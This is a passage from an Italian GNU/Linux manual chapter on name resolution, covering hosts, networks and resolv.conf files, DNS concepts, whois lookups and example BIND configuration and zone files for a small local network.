[17] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[18] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[19] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[20] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[21] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[22] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[23] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

[24] **Traceroute** UCB BSD

[25] Ma potrebbe trattarsi benissimo di '**`ppp0`**', nel caso di una connessione attraverso il protocollo PPP, o di qualunque altra interfaccia reale.

[26] **Iproute** GNU GPL

[27] **Iputils** UCB BSD e GNU GPL

[28] Per usare Ping come utente comune occorre che il suo eseguibile appartenga all'utente '**`root`**' e abbia il bit SUID attivo (SUID-root). È probabile che questo permesso debba essere assegnato manualmente.

[29] **Iputils** UCB BSD e GNU GPL

[30] Eventualmente, il procedimento manuale può servire per assegnare indirizzi di comodo, che ignorano l'identificatore EUI-64.

[31] **Radvd** software libero con licenza speciale

[32] Tutti gli indirizzi 3ffe::/16 appartengono a questo gruppo di prova, ma in generale vanno usati in base ad accordi presi con altri nodi che utilizzano IPv6.

Capitolo 39

Risoluzione dei nomi

39.1 Indirizzi e nomi 2230

39.1.1 Configurazione del tipo di conversione: file «/etc/host.conf» 2230
39.1.2 File per la conversione 2231

39.2 DNS come base di dati distribuita 2234

39.2.1 Nome di dominio 2234
39.2.2 Zone 2235
39.2.3 Record di risorsa 2236
39.2.4 Risoluzione inversa 2236
39.2.5 Registrazione di un nome di dominio 2237

39.3 Esempio di configurazione del DNS 2239

39.3.1 Prima di gestire un servente DNS 2239
39.3.2 Predisposizione di un servente DNS elementare 2241
39.3.3 Gestire anche la rete locale 2243
39.3.4 Gli altri elaboratori della rete 2246
39.3.5 Gestire la posta elettronica locale 2247
39.3.6 Gestire gli alias 2247
39.3.7 Isolamento dall'esterno 2248

39.4 Gestione del servizio di risoluzione dei nomi 2249

39.4.1 Utilizzo di «named» 2249
39.4.2 Nslookup 2249
39.4.3 Host 2251
39.4.4 Dig 2252
39.4.5 Verifica del funzionamento del servizio 2255

39.5 File di configurazione più in dettaglio 2257

39.5.1 File «/etc/named.conf» o «/etc/bind/named.conf» 2258
39.5.2 Memoria cache del dominio principale 2259
39.5.3 Gestione delle zone su cui si ha autorità 2260
39.5.4 Riproduzione delle informazioni di un altro DNS 2260
39.5.5 File di zona 2261
39.5.6 SOA -- Start of authority 2262
39.5.7 NS -- Name Server 2263
39.5.8 MX -- Mail Exchanger 2263
39.5.9 A, AAAA, A6 -- Address 2264
39.5.10 PTR -- Pointer 2265

39.5.11 CNAME -- Canonical Name 2267
39.5.12 File dei serventi principali 2267
39.6 Serventi DNS secondari 2267
39.7 Servente DNS di inoltro 2269
39.8 Esercitazione: individuazione dei nomi di dominio disponibili e occupati 2269
39.9 Riferimenti 2270

dig 2252 host 2251 host.conf 2230 hosts 2232 named 2239 2249 named.conf 2258 networks 2233 nslookup 2249 resolv.conf 2233 rndc 2249 whois 2237 $RESOLV_HOST_CONF 2230 $RESOLV_SERV_MULTI 2230 $RESOLV_SERV_ORDER 2230

39.1 Indirizzi e nomi

La gestione diretta degli indirizzi IP in forma numerica può essere utile in fase di progetto di una rete, ma a livello di utente è una pretesa praticamente inaccettabile. Per questo, agli indirizzi IP numerici si affiancano quasi sempre dei nomi che teoricamente potrebbero anche essere puramente fantastici e senza alcuna logica. Ogni volta che si fa riferimento a un nome, il sistema è (o dovrebbe essere) in grado di convertirlo nel numero IP corrispondente. In pratica, si usa di solito la convenzione dei nomi di dominio, come descritto in parte nella sezione (38.4.10).

Ci sono due metodi per trasformare un nome in un indirizzo IP e viceversa: un elenco contenuto nel file '/etc/hosts' oppure l'uso di un servente DNS.

Qui si analizzano inizialmente '/etc/hosts' e gli altri file di configurazione legati alla traduzione dei nomi; successivamente si passa alla trattazione della gestione di un servente DNS con il quale si ottiene un servizio di risoluzione dei nomi (*name server*).

39.1.1 Configurazione del tipo di conversione: file «/etc/host.conf»

Prima di procedere con la trasformazione di un nome in un indirizzo IP, occorre definire in che modo si vuole che il sistema esegua questa operazione. Il file di configurazione attraverso il quale si definisce ciò è '/etc/host.conf', ma anche attraverso l'uso di variabili di ambiente si può intervenire in questa configurazione.

Il file '/etc/host.conf' viene usato per determinare quali servizi usare per risolvere i nomi di dominio. Ogni riga rappresenta un'opzione di funzionamento, inoltre il simbolo '**#**' rappresenta l'inizio di un commento. Solitamente vengono specificate solo due direttive: '**order**' e '**multi**', come nell'esempio seguente:

```
order hosts,bind
multi on
```

Nella prima riga, l'opzione '**order**' indica l'ordine dei servizi. In questo caso si utilizza prima il file '/etc/hosts' (39.1.2.1) e quindi si interpella il servizio di risoluzione dei nomi. Nella seconda riga, '**multi on**', abilita la possibilità di trovare all'interno del file '/etc/hosts'

l'indicazione di più indirizzi IP per lo stesso nome. Un evento del genere può verificarsi quando uno stesso elaboratore ha due o più connessioni per la rete e per ognuna di queste ha un indirizzo IP diverso.

Tabella 39.2. Alcune direttive.

Direttiva	Descrizione
`order {hosts|bind|nis}[,...[,...]]`	L'opzione '**`order`**' richiede uno o più argomenti (separati da spazio, virgola, punto e virgola o due punti) indicanti la sequenza di servizi attraverso cui si deve tentare di risolvere un nome.
`multi {on|off}`	L'opzione '**`multi`**' attiva o disattiva la possibilità di trovare all'interno del file '`/etc/hosts`' l'indicazione di più indirizzi IP per lo stesso nome.

Attraverso l'uso delle variabili di ambiente ***RESOLV_HOST_CONF***, ***RESOLV_SERV_ORDER*** e ***RESOLV_SERV_MULTI***, è possibile interferire con la configurazione del file '`/etc/host.conf`', come descritto nella tabella successiva.

Tabella 39.3. Alcune variabili di ambiente.

Variabile	Descrizione
RESOLV_HOST_CONF	Se esiste e non è vuota, definisce il nome di un file alternativo a '`/etc/host.conf`'.
RESOLV_SERV_ORDER	Definisce l'ordine dei servizi di risoluzione dei nomi, senza tenere conto di quanto eventualmente già definito attraverso l'opzione '**`order`**' nel file '`/etc/host.conf`'.
RESOLV_SERV_MULTI	Può contenere la stringa '**`on`**' oppure '**`off`**', con lo stesso significato dell'opzione '**`multi`**' del file '`/etc/host.conf`' e serve a sostituirsi all'eventuale dichiarazione fatta nel file stesso.

39.1.2 File per la conversione

Prima che esistessero i serventi DNS si dovevano risolvere i nomi attraverso l'uso di un file unico, contenente un elenco di indirizzi IP associato ai nomi rispettivi. Teoricamente, utilizzando un servente DNS questo file potrebbe non essere più necessario. In pratica conviene utilizzare ugualmente questo vecchio metodo per garantirsi l'accessibilità alla rete locale anche quando l'eventuale servente DNS non dovesse funzionare.

39.1.2.1 File «/etc/hosts»

Il file '`/etc/hosts`' viene usato per convertire i nomi degli elaboratori in numeri IP e viceversa. È particolarmente utile la sua compilazione all'interno di piccole reti che non dispongono di un servente DNS. Nell'ambito di una rete locale può essere predisposto uguale per tutti gli elaboratori connessi, così da facilitare per quanto possibile l'aggiornamento all'interno di questi. Segue un estratto di esempio di questo file.[1]

```
#
# Necessario per il "loopback" IPv4.
#
127.0.0.1                       localhost.localdomain   localhost
#
# Indirizzi IPv4.
#
192.168.1.1                     dinkel.brot.dg          dinkel
192.168.1.2                     roggen.brot.dg          roggen
#
192.168.2.1                     weizen.mehl.dg          weizen
#
# Necessario per il loopback IPv6.
#
::1                             ip6-localhost           ip6-loopback
#
# Necessari per il multicast IPv6.
#
fe00::0                         ip6-localnet
ff00::0                         ip6-mcastprefix
ff02::1                         ip6-allnodes
ff02::2                         ip6-allrouters
ff02::3                         ip6-allhosts
#
# Indirizzi IPv6.
#
fec0::1:2a0:24ff:fe77:4997      dinkel.brot.dg          dinkel
fec0::1:280:5fff:fea6:6d3d      roggen.brot.dg          roggen
#
fec0::2:280:adff:fec8:a981      weizen.mehl.dg          weizen
```

In pratica, il file può contenere righe vuote o commenti (le righe che iniziano con il simbolo '**#**') e righe che iniziano con un indirizzo IP (sia IPv4, sia IPv6). Dopo l'indirizzo IP, separato da spazi o caratteri di tabulazione, inizia l'elenco dei nomi a esso abbinati, anche questo può essere separato da spazi o da caratteri di tabulazione.

Di solito, si indica il nome di dominio completo (FQDN o *Fully qualified domain name*), seguito eventualmente da possibili abbreviazioni o soprannomi.

Come già accennato, è possibile creare un file '`/etc/hosts`' identico per tutti gli elaboratori della propria rete locale. Ma se la rete locale si articola in sottoreti, è normale che il dominio

di appartenenza di ogni sottorete cambi. Nell'esempio visto, si fa riferimento a due sottoreti IPv4 e IPv6: 192.168.1.0 e fec0::1::/64 denominata `brot.dg`; 192.168.2.0 e fec0::2::/64 denominata `mehl.dg`. In questa situazione, potrebbe capitare che un elaboratore nella rete `mehl.dg` abbia lo stesso nome locale di un altro collocato nelle rete `brot.dg`. Per questo, l'attribuzione di soprannomi, o semplicemente di abbreviazioni, deve essere deve essere tale da non creare ambiguità, oppure deve essere evitata. A questo fa eccezione il caso dell'indirizzo di *loopback*: ogni elaboratore è bene che si chiami `localhost`.

39.1.2.2 File «/etc/networks»

Il file '`/etc/networks`' viene usato per convertire i nomi delle sottoreti in codici IPv4. Come nel caso del file '`/etc/hosts`', può essere predisposto in forma unificata per tutti i nodi di una stessa rete, così da facilitare per quanto possibile l'aggiornamento all'interno di questi. Segue un estratto di esempio di questo file:

```
localdomain     127.0.0.0

brot.dg         192.168.1.0
mehl.dg         192.168.2.0
```

La presenza di questo file non è indispensabile; in effetti, la gestione delle sottoreti attraverso l'uso diretto degli indirizzi IP non dovrebbe essere un problema. Il vantaggio di avere questo file, sta nell'utilizzo del programma '**`route`**' per visualizzare la tabella di instradamento: gli indirizzi di rete vengono trasformati nei nomi ottenuti dal file '`/etc/networks`'.

È bene chiarire che normalmente non si utilizza il servente DNS per risolvere i nomi della rete; quindi, di solito, la gestione dei nomi si attua solo attraverso la predisposizione di questo file.

39.1.2.3 File «/etc/resolv.conf»

Quando il file '`/etc/hosts`' non basta, si deve poter accedere a un servizio di risoluzione dei nomi, ovvero a un servente DNS. Viene usato il file '`/etc/resolv.conf`' per conoscere l'indirizzo o gli indirizzi dei servizi di risoluzione dei nomi di competenza della rete cui si appartiene. Se non si intende utilizzare il sistema DNS per risolvere i nomi della propria rete, oppure si dispone di un solo elaboratore, ma si vuole accedere alla rete Internet, devono essere indicati gli indirizzi dei servizi di risoluzione dei nomi forniti dall'ISP (*Internet service provider*), ovvero dal fornitore di accesso a Internet.

Questo file può contenere righe vuote o commenti (le righe che iniziano con il simbolo '**#**') e righe che iniziano con un nome di opzione seguite normalmente da un argomento. Le opzioni utilizzabili sono descritte nella tabella successiva.

Tabella 39.6. Alcune direttive.

Direttiva	Descrizione
`nameserver` ***indirizzo_ip_servente_dns***	L'opzione '**`nameserver`**' è la più importante e permette di definire l'indirizzo IP di un servizio di risoluzione dei nomi. Se questa opzione non viene utilizzata, si fa riferimento a un servizio locale, raggiungibile precisamente all'indirizzo 127.0.0.1. Il file '`/etc/resolv.conf`' può contenere più righe con questa opzione, in modo da poter fare riferimento a servizi di risoluzione dei nomi alternativi quando quello principale non risponde.
`domain` ***nome_di_dominio***	Stabilisce il dominio predefinito per le interrogazioni del servizio di risoluzione dei nomi.
`search` ***nome_di_dominio***...	Definisce un elenco di domini possibili (l'elenco è separato da spazi o caratteri di tabulazione) per le interrogazioni del servizio di risoluzione dei nomi.

Una configurazione normale non ha bisogno dell'indicazione delle opzioni '**`domain`**' e '**`search`**'. Se il file '`/etc/resolv.conf`' si limita a contenere opzioni '**`nameserver`**', questo può essere standardizzato su tutta la rete locale.

Segue un esempio in cui si utilizza il servizio di risoluzione dei nomi offerto dall'indirizzo IP 8.8.8.8 ed eventualmente, in sua mancanza, dall'indirizzo 8.8.4.4.

```
nameserver 8.8.8.8
nameserver 8.8.4.4
```

39.2 DNS come base di dati distribuita

Prima di descrivere in pratica l'allestimento di un sistema DNS per la risoluzione dei nomi, è necessario comprendere, almeno a grandi linee, i concetti di partenza: domini, zone, record di risorsa.

39.2.1 Nome di dominio

Alla base del sistema esiste il nome di dominio, che è la forma con cui si rappresenta un indirizzo attraverso una denominazione strutturata. Per esempio, *`dinkel.brot.dg`* potrebbe essere il nome di dominio che corrisponde a un nodo preciso nella rete (in tal caso di parla di FQDN), nome che si può scomporre secondo una sequenza gerarchica, come si vede nella figura 39.8.

Figura 39.8. Scomposizione del nome di dominio `dinkel.brot.dg`.

I nomi di dominio, nel loro insieme, costituiscono una struttura ad albero, in cui la radice è il dominio principale, rappresentato con un punto singolo oppure lasciato sottinteso. Ogni nodo di questo albero è un dominio, rappresentato attraverso l'unione dei nomi dei nodi attraversati a partire dalla radice, indicandoli da destra verso sinistra, separati con un punto uno dall'altro, come si intende meglio dalla figura 39.9.

Figura 39.9. Struttura ad albero dei nomi di dominio.

In linea di principio, le «foglie» di questo albero, ovvero i nodi terminali, dovrebbero corrispondere a dei nodi di rete; tuttavia, benché sconsigliabile, è possibile che un nodo non terminale nell'albero dei nomi di dominio, corrisponda a un nodo di rete. Seguendo l'esempio della figura 39.9, `dinkel.brot.dg` e `roggen.brot.dg` sono intesi come nodi di rete, ma non si può escludere che lo siano anche `brot.dg` e `dg` stesso.

La lunghezza di un nome di dominio si esprime in ***livelli***, intesi come quantità di nodi che si devono attraversare, esclusa la radice. Per esempio, il nome `dinkel.brot.dg` ha tre livelli. In particolare, si fa riferimento al primo nodo successivo alla radice come al dominio di primo livello, noto in generale come TLD, ovvero *top level domain*. Pertanto, il nome `dinkel.brot.dg` appartiene quindi al dominio di primo livello `dg`.

39.2.2 Zone

Secondo il DNS, i livelli gerarchici di suddivisione delle competenze sono le ***zone***, le quali si sovrappongono all'albero dei domini. Una zona riguarda un ramo dell'albero dei domini, a partire da un certo nodo in poi, ma al suo interno, questa zona può demandare la competenza per dei rami inferiori ad altre zone.

Figura 39.10. Suddivisione in zone.

L'esempio della figura 39.10 dovrebbe aiutare a comprendere il meccanismo: la zona principale è competente per tutto l'albero dei domini, ma demanda ad altre zone la competenza per il dominio *dg* e per altri domini che dipendono direttamente da quello principale. La zona '**dg**' è competente per il dominio *dg* e per tutti i suoi sottodomini, tranne *brot.dg* che viene demandato a un'altra zona (con lo stesso nome); infine, la zona '**brot.dg**' è competente per tutti i suoi sottodomini.

Da questo esempio si dovrebbe comprendere che le zone seguono la struttura dei domini, ma non hanno necessariamente la stessa frequenza di suddivisione.

39.2.3 Record di risorsa

Ogni zona organizza le informazioni di sua competenza in quelli che sono chiamati record di risorsa. Questi record definiscono l'associazione tra un nome di dominio e un'altra informazione, in base al tipo di record. Per esempio, per cercare l'indirizzo IPv4 associato a un certo nome di dominio, si consultano i record di tipo «A»; per conoscere il servizio di risoluzione dei nomi competente per un certo nome di dominio (in questo caso inteso come zona), si consultano i record di tipo «NS».

L'interrogazione di un servizio DNS corrisponde all'interrogazione di una base di dati, in cui, il risultato è il record desiderato. Naturalmente, tutto questo avviene generalmente in modo trasparente, per opera dei programmi che ne hanno bisogno, senza disturbare l'utente.

39.2.4 Risoluzione inversa

La base di dati che costituisce il sistema DNS serve principalmente per due cose: trovare l'indirizzo numerico corrispondente a un nome di dominio e trovare il nome di dominio a partire dall'indirizzo numerico (ammesso che sia disponibile un nome). Tuttavia, il sistema DNS gestisce **solo** nomi di dominio, pertanto la risoluzione da indirizzo a nome avviene attraverso un meccanismo un po' strano.

Infatti, alcuni domini sono speciali, perché servono a rappresentare, in qualche modo, un indirizzo numerico. Per esempio, *4.3.2.1.in-addr.arpa* è uno di questi domini speciali, che fa riferimento implicito all'indirizzo IPv4 1.2.3.4 (in questo caso, trattandosi di IPV4, l'inversione delle cifre è voluta).

I domini più importanti che servono a rappresentare in qualche modo un indirizzo numerico sono `in-addr.arpa` per gli indirizzi IPv4 e `ip6.arpa` per gli indirizzi IPv6.

39.2.5 Registrazione di un nome di dominio

I nomi di dominio utilizzati all'interno di Internet si ottengono attraverso una fase chiamata ***registrazione***. Intuitivamente si può comprendere che la registrazione di un nome avvenga facendo una richiesta a chi è competente per la zona a cui questo nome appartiene. Per esempio, se si vuole registrare il nome `rosso.marrone.nero`, si deve chiedere la cosa a chi gestisce la zona `marrone.nero`.

Generalmente, si registrano nomi di dominio di secondo livello, pertanto ci si rivolge a quella che viene chiamata ***autorità di registrazione*** (nota anche con la sigla RA, per *Registration authority*), competente per il dominio di primo livello a cui si vuole fare riferimento. Per esempio, se si volesse registrare il nome `prova.it`, occorrerebbe rivolgersi all'autorità di registrazione italiana: ⟨*http://www.nic.it*⟩. In questo contesto particolare, il dominio di primo livello è noto come TLD, ovvero *Top level domain*; inoltre, nell'ambito della normativa italiana, si parla preferibilmente di ***nomi a dominio***.

La registrazione di un nome di dominio è paragonabile alla registrazione di un marchio, con la differenza fondamentale che, per essere usato, richiede l'aggiornamento del DNS.

La procedura per la registrazione di un nome di dominio attraverso un'autorità di registrazione, può essere complessa, ma soprattutto, la procedura cambia da un'autorità all'altra. Per questo e anche per sollevare dall'incombenza legata alla gestione tecnica del DNS, esistono diverse aziende che offrono la loro assistenza per la registrazione e la cura del DNS. Generalmente, è conveniente rivolgersi a intermediari di questo tipo, purché siano chiari i servizi che vengono offerti e le condizioni relative; soprattutto è indispensabile verificare che la registrazione venga effettuata a nome del cliente (persona o ente) che vuole ottenere tale registrazione.

Normalmente, le autorità di registrazione pubblicano le informazioni sui domini di loro competenza. Queste notizie dovrebbero essere accessibili attraverso il protocollo NICNAME, noto anche con il nome WHOIS, descritto nei documenti RFC 812 e RFC 954. In un sistema GNU si ottengono queste informazioni con il programma Whois,[2] il quale è in grado di decidere da solo quale servente interpellare, a meno di indicare qualcosa di diverso attraverso le opzioni della riga di comando:

```
whois [opzioni] oggetto
```

Generalmente, si utilizza il programma indicando semplicemente il nome di dominio a cui si è interessati. L'esempio seguente ottiene le informazioni disponibili sul dominio `linuxdidattica.org`:

```
$ whois informaticalibera.net [Invio]

  Whois Server Version 2.0
  …
     Domain Name: INFORMATICALIBERA.NET
     Registrar: KEY-SYSTEMS GMBH
     Whois Server: whois.rrpproxy.net
     Referral URL: http://www.key-systems.net
```

```
   Name Server: NS1.NICE.NET
   Name Server: NS2.NICE.NET
   Name Server: NS3.NICE.NET
   Status: ok
   Updated Date: 18-nov-2009
   Creation Date: 12-apr-2007
   Expiration Date: 12-apr-2014
…
DOMAIN: INFORMATICALIBERA.NET

RSP: NICE S.r.l.
URL: http://www.niceweb.eu

owner-contact: P-DCG606
owner-organization: daniele giacomini
owner-fname: daniele
owner-lname: giacomini
owner-street: via Morganella Est, 21
owner-city: Ponzano Veneto (TV)
owner-zip: I-31050
owner-country: IT
owner-phone: +39.04221835202
owner-email: appunti2@gmail.com

admin-contact: P-DCG606
admin-organization: daniele giacomini
admin-fname: daniele
admin-lname: giacomini
admin-street: via Morganella Est, 21
admin-city: Ponzano Veneto (TV)
admin-zip: I-31050
admin-country: IT
admin-phone: +39.04221835202
admin-email: appunti2@gmail.com

tech-contact: P-NOO151
tech-organization: NICE S.r.l.
tech-fname: NICE
tech-lname: Operations
tech-street: business unit niceweb.it Via Nomentana 186
tech-city: Roma
tech-state: RM
tech-zip: 00162
tech-country: IT
tech-phone: +39.06874461
tech-email: support@niceweb.it

billing-contact: P-NCB327
```

```
billing-organization: NICE S.r.l.
billing-fname: NICE
billing-lname: Billing
billing-street: business unit niceweb.it Via Nomentana 186
billing-city: Roma
billing-state: RM
billing-zip: 00162
billing-country: IT
billing-phone: +39.06874461
billing-email: billing@niceweb.it

nameserver: ns1.nice.net
nameserver: ns2.nice.net
nameserver: ns3.nice.net
```

39.3 Esempio di configurazione del DNS

Per la gestione di un servizio DNS si fa riferimento generalmente al pacchetto BIND,[3] rappresentato concretamente dal '**named**'; tuttavia è bene evitare di fare confusione: '**named**' è il nome del demone che compie il lavoro; BIND è il nome del pacchetto che racchiude tutto il necessario alla gestione del DNS, compreso '**named**'.

Si dispone di una piccola rete locale composta da due elaboratori con indirizzi IPv4 e IPv6:

IPv4	IPv6	Nome
192.168.1.1	fec0:0:0:1::1	*dinkel.brot.dg*
192.168.1.2	fec0:0:0:1::2	*roggen.brot.dg*

Il primo di questi due elaboratori è connesso a Internet (con un'altra coppia di indirizzi) e viene predisposto per gestire un servizio di risoluzione dei nomi attraverso il demone '**named**'. La connessione esterna serve solo all'elaboratore '**dinkel**' e non permette all'altro elaboratore di accedere a Internet.

39.3.1 Prima di gestire un servente DNS

Quando non si gestisce localmente un servizio di risoluzione dei nomi e si vuole accedere a Internet, è necessario almeno fare uso di un servizio esterno, di solito messo a disposizione dallo stesso fornitore di accesso.

File '`/etc/host.conf`' (sezione 39.1.1)

È il file di configurazione principale dei servizi di rete. Serve in particolare per determinare in che modo si intendono risolvere i nomi di dominio. L'esempio seguente è quello classico, utilizzato quasi sempre.

```
order hosts,bind
multi on
```

L'opzione '**`order`**' indica l'ordine dei servizi. In questo caso si utilizza prima il file '`/etc/hosts`' e quindi si interpella il servizio di risoluzione dei nomi.

File '`/etc/hosts`' (sezione 39.1.2.1)

Questo file permette di definire i nomi degli elaboratori abbinati al loro indirizzo IP, senza fare uso di un servente DNS. Per entrambi gli elaboratori dell'esempio, va bene il contenuto seguente:

```
#necessario per il loopback
127.0.0.1       localhost.localdomain   localhost
::1             ip6-localhost           ip6-loopback

fe00::0         ip6-localnet
ff00::0         ip6-mcastprefix
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
ff02::3         ip6-allhosts

192.168.1.1     dinkel.brot.dg          dinkel
fec0:0:0:1::1   dinkel.brot.dg          dinkel
192.168.1.2     roggen.brot.dg          roggen
fec0:0:0:1::2   roggen.brot.dg          roggen
```

File '`/etc/networks`' (sezione 39.1.2.2)

Questo file attribuisce i nomi agli indirizzi di rete (solo IPv4). Per entrambi gli elaboratori dell'esempio va bene il contenuto seguente:

```
localdomain     127.0.0.0
brot.dg         192.168.1.0
```

File '`/etc/resolv.conf`' (sezione 39.1.2.3)

Viene usato per conoscere l'indirizzo o gli indirizzi dei servizi di risoluzione dei nomi di competenza della rete cui si appartiene. Se non si vuole gestire questo servizio nella propria rete locale, se ne deve indicare almeno uno esterno per accedere a Internet. Nell'esempio seguente, si fa riferimento a quelli di Google:

```
nameserver 8.8.8.8
nameserver 8.8.4.4
```

39.3.2 Predisposizione di un servente DNS elementare

Il tipo di servizio di risoluzione dei nomi più semplice è quello che si occupa solo di accumulare in una memoria cache gli ultimi indirizzi richiesti, senza avere alcuna competenza di zona. Il servizio viene allestito all'interno dell'elaboratore '**`dinkel`**'.

File '`/etc/resolv.conf`' (39.1.2.3)

Viene modificato in modo da fare riferimento all'indirizzo locale (*`localhost`*), dal momento che si intende usare il proprio elaboratore per la gestione del servizio di risoluzione dei nomi.

```
nameserver 127.0.0.1
```

File '`/etc/named.conf`' o '`/etc/bind/named.conf`'

Viene utilizzato da '**`named`**' come punto di partenza della configurazione del servizio DNS.

```
options {
        directory "/etc/bind";
        listen-on-v6 { any; };
};
zone "." {
        type hint;
        file "named.root";
};
zone "0.0.127.in-addr.arpa" {
        type master;
        file "zone/127.0.0";
};
```

La prima direttiva, che occupa le prime quattro righe, definisce in particolare la directory predefinita per contenere gli altri file di configurazione del servizio di risoluzione dei nomi.

La seconda direttiva indica il file '`named.root`', contenuto in '`/etc/bind/`', che serve come fonte per gli indirizzi necessari a raggiungere i servizi di risoluzione dei nomi del dominio principale (ciò è rappresentato simbolicamente dal punto isolato).

La terza direttiva indica il file '`127.0.0`' contenuto in '`/etc/bind/zone/`', utilizzato come configurazione per la rete dell'elaboratore locale (*`localhost`*).

in-addr.arpa è un dominio speciale attraverso il quale si definisce che le cifre precedenti rappresentano un indirizzo IPv4 rovesciato.

File '/etc/bind/named.root', '/etc/bind/named.ca'

Si tratta del file contenente le indicazioni necessarie a raggiungere i servizi di risoluzione dei nomi del dominio principale. Nella consuetudine può avere diversi nomi, tra cui i più importanti sono 'named.root' e 'named.rc'. Questo file viene realizzato da un'autorità esterna e viene quindi semplicemente utilizzato così com'è. Segue un esempio di questo.

```
.                       3600000  IN  NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.     3600000      A     198.41.0.4
.                       3600000      NS    B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.     3600000      A     128.9.0.107
.                       3600000      NS    C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.     3600000      A     192.33.4.12
.                       3600000      NS    D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.     3600000      A     128.8.10.90
.                       3600000      NS    E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.     3600000      A     192.203.230.10
.                       3600000      NS    F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET.     3600000      A     192.5.5.241
.                       3600000      NS    G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET.     3600000      A     192.112.36.4
.                       3600000      NS    H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET.     3600000      A     128.63.2.53
.                       3600000      NS    I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET.     3600000      A     192.36.148.17
.                       3600000      NS    J.ROOT-SERVERS.NET.
J.ROOT-SERVERS.NET.     3600000      A     198.41.0.10
.                       3600000      NS    K.ROOT-SERVERS.NET.
K.ROOT-SERVERS.NET.     3600000      A     193.0.14.129
.                       3600000      NS    L.ROOT-SERVERS.NET.
L.ROOT-SERVERS.NET.     3600000      A     198.32.64.12
.                       3600000      NS    M.ROOT-SERVERS.NET.
M.ROOT-SERVERS.NET.     3600000      A     198.32.65.12
```

File '/etc/bind/zone/127.0.0'

Definisce la configurazione per la rete 127.0.0.∗, cioè quella a cui appartiene il nome *localhost*.

```
@   IN   SOA   localhost.localdomain. root.localhost.localdomain. (
                                   1998031800 ; Serial
                                   28800      ; Refresh
                                   7200       ; Retry
                                   604800     ; Expire
                                   86400 )    ; Minimum
                               NS    localhost.localdomain.
1.0.0.127.in-addr.arpa.        PTR   localhost.localdomain.
```

La prima riga, '**SOA**' (*Start of authority*), è il preambolo del file. Si riferisce all'origine rappresentata dal simbolo '**@**' (in questo caso '**@**' rappresenta *0.0.127.in-addr.arpa*) e definisce in particolare i dati seguenti:

- l'elaboratore di provenienza, *localhost.localdomain*, indicato in modo assoluto e per questo terminato con un punto;
- l'indirizzo di posta elettronica della persona o del gruppo che mantiene il servizio di risoluzione dei nomi (in questo caso, la notazione '**root.localhost.localdomain.**' si riferisce all'utente '**root@localhost.localdomain**' e l'indirizzo è assoluto perché termina con un punto);
- il numero di serie, rappresentato in modo da comprendere la data (anno, mese, giorno), seguita da due cifre che permettono di esprimere la versione del giorno.

La seconda riga, NS (*Name server*) indica il nome dell'elaboratore che offre il servizio di risoluzione dei nomi.

La terza riga, PTR, indica che il nome di dominio *1.0.0.127.in-addr.arpa* (ovvero l'indirizzo 127.0.0.1) corrisponde a *localhost.localdomain*.

In pratica, tutto questo definisce un servizio di risoluzione dei nomi che è in grado esclusivamente di interrogare i servizi del livello principale e di tradurre l'indirizzo 127.0.0.1 in *localhost.localdomain*.

39.3.3 Gestire anche la rete locale

Perché il servizio di risoluzione dei nomi sia in grado di gestire anche la rete locale, occorre che possa tradurre i nomi utilizzati nella rete locale in indirizzi IP e viceversa.

File '/etc/named.conf' o '/etc/bind/named.conf'

Il file viene modificato in modo da fare riferimento ad altri quattro file:

- '/etc/bind/zone/dg'

  per la trasformazione dei nomi di dominio appartenenti al dominio principale della rete locale (*dg*) in indirizzi numerici;
- '/etc/bind/zone/brot.dg'

  per la trasformazione dei nomi di dominio appartenenti alla rete locale *brot.dg* in indirizzi numerici;

- '/etc/bind/zone/192.168.1'

  per la trasformazione degli indirizzi IPv4 appartenenti alla rete locale (192.168.1.*) in nomi di dominio;

- '/etc/bind/zone/fec0:0:0:1'

  per la trasformazione degli indirizzi IPv6 appartenenti alla rete locale (fec0:0:0:1:*) in nomi di dominio.

```
options {
        directory "/etc/bind";
        listen-on-v6 { any; };
};
//
zone "." {
        type hint;
        file "named.root";
};
//
zone "0.0.127.in-addr.arpa" {
        type master;
        file "zone/127.0.0";
};
zone "1.168.192.in-addr.arpa" {
        type master;
        file "zone/192.168.1";
};
zone "\[xfec0000000000001/64].ip6.arpa" {
        type master;
        file "zone/fec0:0:0:1";
};
zone "dg" {
        type master;
        file "zone/dg";
};
zone "brot.dg" {
        type master;
        file "zone/brot.dg";
};
```

File '/etc/bind/zone/192.168.1'

Definisce la configurazione per la rete locale 192.168.1.*.

```
@   IN   SOA   dinkel.brot.dg. root.dinkel.brot.dg.  (
                                1998031800 ; Serial
                                28800      ; Refresh
                                7200       ; Retry
                                604800     ; Expire
                                86400 )    ; Minimum
                            NS    dinkel.brot.dg.

1.1.168.192.in-addr.arpa.   PTR   dinkel.brot.dg.
2.1.168.192.in-addr.arpa.   PTR   roggen.brot.dg.
```

In tal modo è possibile determinare che l'indirizzo 192.168.1.1 corrisponde a *dinkel.brot.dg* e che 192.168.1.2 corrisponde a *roggen.brot.dg*.[4]

File '/etc/bind/zone/dg'

Definisce la configurazione per la rete locale *dg*.

```
@   IN              SOA  dinkel.brot.dg. root.dinkel.brot.dg.  (
                               1998031800 ; Serial
                               28800      ; Refresh
                               7200       ; Retry
                               604800     ; Expire
                               86400 )    ; Minimum
                    NS   dinkel.brot.dg.
```

In tal modo è possibile determinare non ci sono nomi corrispondenti a nodi, che dipendono direttamente dalla zona *dg*.

File '/etc/bind/zone/brot.dg'

Definisce la configurazione per la rete locale della zona *brot.dg*.

```
@   IN              SOA  dinkel.brot.dg. root.dinkel.brot.dg.  (
                               1998031800 ; Serial
                               28800      ; Refresh
                               7200       ; Retry
                               604800     ; Expire
                               86400 )    ; Minimum
                    NS   dinkel.brot.dg.

